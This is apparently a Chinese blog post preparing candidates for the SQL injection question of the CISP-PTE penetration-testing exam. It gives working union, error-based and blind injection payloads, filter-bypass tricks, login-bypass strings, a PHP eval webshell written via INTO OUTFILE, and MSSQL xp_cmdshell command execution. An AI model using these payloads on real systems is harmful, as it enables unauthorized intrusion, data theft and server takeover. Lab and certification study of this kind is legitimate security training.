1. 为什么第10题是CISP-PTE的"分水岭"考题
考过CISP-PTE的人都懂一个规律:前面的选择判断题是热身,实操题从SQL注入开始进入状态,而第10题往往是整个SQL注入模块里最能区分"背过题库"和"真会注入"的一道题。我第一次考的时候,前9题基本顺风顺水,到第10题卡了将近四十分钟,最后虽然过了,但那个过程印象极深——不是题目有多偏,而是它把SQL注入的几种变形、过滤绕过和利用手法揉到了一起,光会跑sqlmap根本拿不下来。
先说清楚CISP-PTE的定位:它是注册信息安全专业人员-渗透测试方向认证,考试核心就是实操。整个考试环境是一个封闭的虚拟化靶场,你在里面能用浏览器、Burp Suite、sqlmap这些常规渗透工具,但没有任何互联网访问权限,也不能带自己的工具包进去。这意味着所有利用思路、字典、脚本都得靠平时积累,现场现写也行,但时间成本很高。SQL注入在考试里大概占10到15分的比重,通常分布在好几道题里,第10题这种编号靠后的题目,综合度明显高于前面的基础题。
很多人在备考时走入一个误区:觉得SQL注入嘛,sqlmap一把梭就行。考试环境确实允许用sqlmap,我甚至见过有人直接sqlmap -u "http://target/xxx?id=1" --batch --dbs跑出来的,但第10题往往会在中间环节设置障碍——要么是WAF类过滤规则,要么是参数经过二次编码,要么是后台逻辑做了白名单校验。这时候sqlmap的默认Payload反而容易被拦,手工注入的能力就成了解题的关键。
从我自己的备考经验来看,第10题更适合被当作一个"综合实践题"来对待。它不会只考单一知识点,而是把常见的注入场景串起来。备考时如果你能完整地走通"信息收集→注入点判断→注入类型确认→数据提取→权限提升→GetShell"这条链路,那这一题对你来说就是送分题。这篇文章我就按照实际考试时的思考链路,把每一步的实操细节、判断依据和踩坑点拆开讲,希望能帮正在备考的人少走弯路。
2. 考试环境与工具选型:哪些东西能带进考场,哪些必须临时写
2.1 考场网络拓扑和靶机特性
CISP-PTE的实操环境是这样的:你通过一台考试机(通常是Windows系统)访问靶场内网,考试机上有浏览器、Burp Suite、sqlmap、Nmap、中国菜刀/蚁剑等常用工具,有的考场还预装了HackBar之类的浏览器插件。靶机一般模拟的是真实业务系统,操作系统可能是Linux也可能是Windows,Web中间件常见的有Apache、Nginx、Tomcat、IIS,数据库则有MySQL、MSSQL、Oracle几种可能。
第10题的靶机特性,从我考过和听到的版本来看,几个高频特征值得留意:
- 后台登录页面存在SQL注入,但登录接口做了简单的参数过滤;
- 主站查询接口能注入,但返回内容被截断或过滤了特殊字符;
- 数据库账号权限不是root(MySQL)或sa(MSSQL),需要先提权才能读文件;
- 站库分离,Web服务器和数据库服务器不在同一台机器,文件读写利用链更长。
这些特征决定了你不能一上来就无脑跑工具,得先摸清环境。
2.2 工具分工:Burp Suite为主,sqlmap为辅
我个人在考试里的习惯是Burp Suite打主,sqlmap做验证和扩展。原因很简单:第10题这种综合性注入题,人工确认注入点和注入类型是第一步,盲目的自动化爆破反而容易触发过滤机制,把本来可以绕过的路径堵死。
具体分工可以参考这个思路:
| 工具 | 使用场景 | 注意点 |
|---|---|---|
| Burp Suite | 抓包分析、手动修改Payload、重放测试 | 注意编码转换、Cookie注入点 |
| sqlmap | 快速验证注入类型、跑数据字典 | 需要用--tamper配合绕过脚本 |
| HackBar / 浏览器F12 | 快速构造GET/POST请求 | 适合快速判断闭合方式和列数 |
| 蚁剑/菜刀 | 拿到文件上传权限后的连接管理 | 考试环境一般允许使用 |
这里特别提醒一点:考试机上的Burp Suite往往没有配置上游代理,你需要自己确认浏览器流量是否走代理。别在抓包环节浪费太多时间,我见过有人卡在"为什么Burp收不到包",其实就是忘了设置浏览器代理或者没关系统代理。
2.3 临时编写的辅助脚本
虽然考场允许用工具,但有些环节工具反而低效。比如盲注的数据提取,如果你用sqlmap跑太慢或者被拦,临时写一个Python脚本做二分法布尔盲注,效率会高很多。考试机上有没有Python环境要看考场配置,有的有,有的没有。稳妥的做法是平时就练熟一套不依赖第三方库的注入脚本,用requests和re就能完成,到了考场就算没有现成环境也能快速手写。
还有一点关于字典:考场不让带自己的字典文件,但系统里可能会有一些基础字典(比如SQLMap自带的/usr/share/sqlmap/data下的txt文件)。第10题如果需要爆破表名或列名,可以用sqlmap内置字典,前提是你知道怎么调用。这个细节很多人考完才反应过来。
3. 信息收集与注入点识别:别急着上Payload,先搞清楚业务逻辑
3.1 从URL参数到Cookie参数的全面排查
第10题的第一关,往往是找到真正的注入点。表面上的?id=参数可能只是摆设,真正存在注入的地方反而在Cookie里、在登录表单的隐藏字段里,或者在一个看似无关的搜索框里。
我备考时反复练习的一个习惯是:拿到一个站点后,不急着测注入,先把所有入口点列出来。对于一个典型的考试靶机,入口点通常包括:
- 前台页面URL参数(
?id=、?page=、?cat=等); - 搜索框(POST参数);
- 登录表单(用户名、密码字段);
- Cookie中的会话标识或用户偏好参数;
- 某些接口的JSON/XML数据字段。
逐一记录这些入口点之后,再按优先级测试注入。第10题常用的"坑"就是把注入点藏在Cookie里,因为很多人的扫描习惯只关注URL参数。我印象里有个模拟题就是Cookie: user=admin这个值存在字符型注入,直接用浏览器改Cookie就能进后台,但一直盯着?id=的人死活找不到突破口。
3.2 用经典的'和报错快速判断闭合方式
找到候选注入点后,判断闭合方式的核心就是试探。最基础的做法是在参数值后面加单引号',看页面是否报错、报错信息里是否包含SQL片段。比如输入?id=1'后页面回显You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1',那就基本确定是字符型注入,闭合方式是单引号。
第10题常见的闭合方式有这么几种:
- 数字型:
id=1直接拼接,不需要闭合符; - 单引号字符型:
WHERE name='$input'; - 双引号字符型:
WHERE name="$input"; - 带括号的:
WHERE id=($input)或WHERE name=('$input'),需要补右括号; - 带注释符的:需要把后面的SQL语句注释掉,常见用
--+、#、--(注意--后面有空格)。
判断闭合方式时,我的一个经验:如果报错信息被过滤或者不显示,不要慌,用"条件真/假"来观察页面差异,也能判断闭合。比如输入?id=1' AND '1'='1页面正常,?id=1' AND '1'='2页面异常,那说明'闭合成立,且AND后面的逻辑生效了。
3.3 列数探测与显示位定位:ORDER BY和UNION SELECT的配合
确认闭合方式后,下一步是确定查询结果的列数,这是联合查询注入的基础。用ORDER BY n逐个试,从小到大。比如?id=1' ORDER BY 3--+正常,?id=1' ORDER BY 4--+报错,说明该查询有3列。
这里有个细节:有些题目会限制返回数据的条数,或者查询结果固定只显示一行。你用ORDER BY探测列数时,就算参数值改成不存在的值(比如id=-1),返回结果集为空,ORDER BY依然有效。我习惯把id=1'改成id=-1'来制造空结果,这样后面跟UNION SELECT时,联合查询的结果能直接显示出来。
确定列数后,找到显示位。用UNION SELECT 1,2,3(假设3列),看页面渲染出来的是哪几个数字。如果只显示2和3,说明第1列不在页面上回显,那么数据提取就要利用第2、第3位。第10题经常考的一个点就在这里:数据不一定在前台页面回显,可能在后台、可能在响应头、也可能在注释里。这时候配合Burp的响应包检查,别只看浏览器渲染。
4. 注入类型的判断与绕过滤的实战链路:从报错注入到盲注
4.1 联合查询能通就优先联合查询,但第10题往往不那么顺利
联合查询注入是最舒服的利用方式,因为它直接高效。把数据在页面上显示出来,不用猜不用试。但第10题如果出得狠一点,会在联合查询这条路上卡你:
UNION关键字被过滤;SELECT关键字被过滤;- 逗号被过滤;
- 空格被注释符替代后失效;
- 页面把多行结果合并显示,看不到联合查询的第二条记录。
遇到这些情况,我的判断顺序是这样的:先试大小写、内联注释绕过(UnIoN SeLeCt、/*!UNION*/),不行就转报错注入,再不行就转盲注。第10题一般不会把所有路都堵死,但你要快速判断哪条路是通的,别在一棵树上吊死。
4.2 报错注入的效率优势:updatexml、extractvalue和floor报错
当联合查询被过滤时,报错注入是效率最高的选择。MySQL环境下,第10题最常见的两个函数是updatexml和extractvalue。它们的原理是利用XML处理函数的报错信息回显我们的输入数据。
updatexml的报错注入格式是:
' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)--+extractvalue的格式是:
' AND extractvalue(1,concat(0x7e,(select user()),0x7e))--+注意报错信息的长度限制:这两个函数回显的内容长度一般不超过32个字符,超过会被截断。所以提取较长的数据时,需要用substr配合循环。比如:
' AND extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e))--+报错注入的优势是每一步的反馈都很明确,不用猜真假。第10题如果当前数据库用户有报错信息权限(大部分靶机都有),这条路比盲注快得多。
但如果目标数据库是MSSQL,报错注入的方式就不同了。MSSQL下常用的是convert函数报错:
'; declare @s varchar(999); set @s=''; select @s=@s+name+',' from sysobjects where xtype='U'; convert(int,@s);--或者更简单的and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--。
4.3 过滤绕过的方式:第10题最爱考的字符置换
第10题在过滤这块经常做文章。常见过滤规则有:
- 过滤
and、or、union、select等关键字; - 过滤
'、空格、=、--等特殊字符; - 过滤逗号;
- 关键字大小写混合后自动转小写;
- 双写绕过(
selselectect)有效; - 注释符过滤。
我整理过一个绕过矩阵,考试时照着试能省很多时间:
| 过滤类型 | 绕过思路 | 示例 |
|---|---|---|
| 关键词过滤 | 大小写混写 | uNiOn SeLeCt |
| 关键词过滤 | 内联注释 | /*!UNION*/ |
| 关键词过滤 | 双写 | ununionion |
| 空格过滤 | 注释符替代 | /**/ |
| 空格过滤 | 制表符/换行 | %09、%0a |
| 引号过滤 | 十六进制编码 | 0x75736572 |
| 等号过滤 | LIKE替代 | id LIKE 1 |
| 逗号过滤 | join替代 | union select * from (select 1)a join (select 2)b |
这里要特别提一下注释符的问题。MySQL的#在URL中要编码为%23,--(双减号加空格)在URL里空格要编码为%20或+。很多人本地测试没问题,一放到Burp里就报错,就是因为URL编码没处理好。第10题的靶机如果用的是POST请求,数据在请求体里,编码方式又不一样。
4.4 布尔盲注和时间盲注:第10题的最后防线
如果报错信息完全不可见(比如页面统一返回"系统错误"),那就只能上盲注。布尔盲注的核心是构造一个返回真假结果差异明显的语句,通过页面的内容变化来判断条件:
' AND (SELECT ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+如果页面正常,说明条件成立;如果页面异常/空内容,说明条件不成立。逐字符二分,效率虽然低但可靠。
时间盲注则是通过响应时间差异来判断:
' AND If(ascii(substr((select database()),1,1))>100,0,sleep(3))--+第10题用盲注的情况比较少见,因为考试时间有限,但如果真遇上,务必先花时间写一个自动化脚本,别手工一个一个试。我之前写过一个极简版Python盲注脚本,核心逻辑就是二分法+请求超时判断,代码不到五十行。平时多练练这个脚本,考试时能救急。
5. 从数据提取到权限提升:第10题真正拉开差距的环节
5.1 获取当前数据库与当前用户,判断权限底线
注入点确认并打通后,第一步永远是确认两件事:当前用的是哪个数据库,当前用户是什么权限。
SELECT database(); -- 当前数据库 SELECT user(); -- 当前用户 SELECT version(); -- 数据库版本 SELECT @@hostname; -- 主机名 SELECT @@datadir; -- 数据目录(可用于后续文件读写)如果当前用户是root(MySQL),那后面的路就宽了。如果是普通用户,就要先看看能不能通过information_schema读到表数据。第10题常见的设局就是:数据库账号给了select权限,能查数据,但into outfile写文件、load_file读文件的权限被限制,这时候GetShell就得另寻他路。
MSSQL环境下的权限判断略有不同,主要关注IS_SRVROLEMEMBER('sysadmin')的返回值。如果当前账号是sysadmin,直接执行xp_cmdshell就是最高权限;不是的话,可能需要先通过sp_addsrvrolemember提权。
5.2 information_schema查库表字段:一套固定的SQL模板
无论数据库类型是什么,查库表字段的思路大同小异。MySQL下的标准流程:
-- 查所有数据库 SELECT group_concat(schema_name) FROM information_schema.schemata; -- 查当前库的所有表 SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database(); -- 查某张表的所有字段 SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='admin';在联合查询注入里,这些语句直接拼在UNION SELECT后面。在报错注入里,用concat包裹。在盲注里,用substr逐字符取。
第10题的数据提取往往不会直接让你看到用户名密码明文,它可能:
- 对密码做了MD5加密,需要你识别出密文后去对比;
- 把flag放在另一个库的其他表里,需要先枚举所有库名;
- 数据在MSSQL的
sys.databases里,查询语法不同。
所以不要只盯着当前库,第一步就把所有库名拉出来看看,flag很可能放在一个看着不起眼的库名里。
5.3 MySQL文件读写与GetShell的利用链
如果第10题的目标是拿到Webshell,那需要考虑文件读写。MySQL下的核心条件有三个:
secure_file_priv参数允许读写(为空或指定目录);- 当前数据库用户有
FILE权限; - 知道Web根目录的绝对路径。
判断secure_file_priv的值:
SHOW VARIABLES LIKE 'secure_file_priv';如果值为空或者NULL(MySQL 5.5+默认是NULL,限制较多),读写的路径就受限。但很多考试靶机为了让题目可解,通常会把secure_file_priv设为空字符串,或者指定到/var/www/html之类的Web目录。
读文件的语句:
SELECT LOAD_FILE('/var/www/html/index.php');写文件的语句:
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';这里有几个实操细节非常重要:
INTO OUTFILE要求目标文件路径是全局可写的,而且文件不能已存在;- 如果写不了,可以试试
INTO DUMPFILE,DUMPFILE不会加换行,适合写二进制或一句话木马; - 写Shell时注意引号转义,在注入语句里嵌套单引号很容易出错,推荐用
0x十六进制编码字符串来写,避免引号冲突。
第10题里,如果查询结果能回显文件内容,说明能读文件;如果页面不显示内容,可以结合报错注入把文件内容回显出来。另外还有个技巧:先读/etc/passwd判断系统用户名,再读Web配置文件(如/etc/nginx/sites-enabled/default或/var/www/html/.htaccess)找Web根目录。
5.4 MSSQL下的GetShell:xp_cmdshell与差异
如果第10题是MSSQL环境,GetShell的思路完全不同。核心是利用xp_cmdshell执行系统命令,但很多目标默认关闭了这个存储过程。开启的办法:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;然后用:
EXEC xp_cmdshell 'whoami';如果xp_cmdshell被直接禁用且无法开启,可以试试sp_oacreate调用COM组件的方式写文件:
EXEC sp_oacreate 'wscript.shell',@out out; EXEC sp_oamethod @out,'run',NULL,'cmd /c whoami > C:\temp\test.txt';MSSQL GetShell的利用难度比MySQL稍高,因为它依赖的系统权限和组件激活情况比较复杂。如果考试真遇到MSSQL的题,第10题大概率不是让你GetShell,而是停留在数据提取层面。当然这也看具体题目,备考时把两种数据库的命令都练熟,考试才不慌。
6. 第10题经典的"登录绕过"变形:万能密码与逻辑漏洞的组合
6.1 万能密码的三种常见形态
第10题考登录绕过是高频套路。后台登录表单存在SQL注入时,万能密码的形态一般有三种:
第一种,最简单也最经典的:
'or'1'='1'--等价于:
SELECT * FROM admin WHERE username='' OR '1'='1'--' AND password='xxx'因为--把后面的密码校验部分注释掉了,条件恒真,直接以第一个用户身份登录。
第二种,利用恒真条件但不依赖注释符:
admin' OR '1'='1'#第三种,针对MSSQL/其他数据库的:
' OR 1=1--第10题如果出了登录绕过,这些简单Payload往往会被过滤。常见的过滤手段是:把单引号转义、过滤OR/AND关键字、限制输入长度。这时候就需要绕过变体。
6.2 从万能密码到数据提取:登录接口注入的升级利用
单纯绕过登录只能进后台,如果第10题的要求是拿到后台里的敏感数据,你还需要利用登录接口的注入点做数据提取。这里的关键是:登录接口的参数往往是字符串拼接进查询的,同样可以走联合查询或报错注入。比如用户名处输入:
admin' UNION SELECT 1,2,3,4--+如果后台查询的列数和显示位刚好对应,你就能把数据库数据直接显示在登录成功后的页面上。很多人在这一步卡住,是因为后台查询的列数不是你想的2列或3列,需要先用ORDER BY测试,然后调整UNION SELECT的列数。
如果是报错注入环境,用户名处可以直接执行:
admin' AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+这就相当于把登录框变成了一个查询窗口,效率很高。这也是为什么我建议平时练注入不要只练URL注入,POST表单注入同样要熟练。
7. 复盘:第10题踩坑最多的五个环节
7.1 坑点一:把时间浪费在"重新踩点"上
考场上时间是最宝贵的。我见过很多人第一道题没做出来就耗了很久,第四十题都还没做就时间不够了。第10题如果卡住了,先停下来想一个问题:这个题想考的是哪个点?是单纯注入,还是注入+绕过+提权的综合题?对照题目给的提示和靶机特征,快速定位考点领域,比盲目试Payload高效得多。我的习惯是每道题最多试三个方向,都不通就说明思路偏了,立刻换。
7.2 坑点二:忽略URL编码和请求格式
本地测试时你用的是浏览器地址栏、用的是明文Payload,但实际考试里你是在Burp里改包。同样的Payload在GET请求里和POST请求里的编码要求不同。比如#在URL里会被当作锚点,必须编码成%23;空格在POST包里可以直接用空格,但在GET里最好编码成%20。第10题如果页面一直报500,先检查你是不是忘了编码。
7.3 坑点三:看不到回显就以为没法注入
很多注入点不回显数据,但页面确实会根据条件变化。这时候就用盲注。我见过好几个人卡在"页面没有数据输出所以觉得注入不成立",实际上是布尔盲注的典型场景。怎么判断?构造一个永远为真的条件和一个永远为假的条件,对比两个请求的响应差异。有差异,就是注入点,而且是布尔型。
7.4 坑点四:只会GET注入,不会POST注入
第10题如果核心注入点在登录表单,很多人就傻眼了。其实POST注入的原理和GET一模一样,只是参数从URL挪到了请求体里。在Burp里把请求从GET改成POST,把参数放进去,测试流程完全一样。区别在于你在写Payload时不需要担心URL编码问题,但要注意Content-Type和请求体格式是否被后端正确解析。
7.5 坑点五:提取数据时被长度限制截断
报错注入的32字符限制、盲注的单字符提取,这些都是数据提取时的"隐形坑"。第10题如果是报错注入场景,你要提取的flag往往超过32字符,必须用substr分段提取。我在考试时习惯先把所有表名列出来,然后预估目标数据的长度,分段提取。千万别图省事一把梭,看到输出不完整就以为是题目出错了,其实是长度限制。
8. 我的备考建议与最后一题的心得
说回CISP-PTE整体备考,SQL注入部分想拿高分,我的建议很直接:别只依赖sqlmap,把手工注入练成肌肉记忆。sqlmap能帮你解决的是标准环境下的注入,但第10题这种综合性题目,往往需要你在sqlmap的自动化和手工的灵活性之间切换。我备考时专门把DVWA、SQLi-Labs、Pikachu这几个靶场的SQL注入关卡从头到尾过了三遍以上,每一关都逼自己先手工打通,再用sqlmap验证一遍。这个过程练出来的判断力,考场上比任何工具都管用。
另外一个小建议:平时练习的时候养成用Burp Suite抓包分析的习惯,不要只在浏览器里测。CISP-PTE考试里,Burp是你最重要的伙伴——改Cookie、看响应包、重放请求、处理编码,全靠它。我用习惯了之后,甚至能在Burp里直接做十六进制编码转换,省了很多事。
最后分享一下我在第10题上的个人体会:这一题确实综合,但它有一个很清晰的解题主线——找到注入点、判断注入类型、摸清环境、提取数据、找权限提升路径。只要每一步都走扎实,它并没有想象中那么难。真正影响考生发挥的,往往不是技术短板,而是考场上慌了神、思路混乱。平时练的时候给自己规定时间,模拟考试节奏,真正上考场时你会发现自己比想象中稳得多。祝备考的朋友一次通过。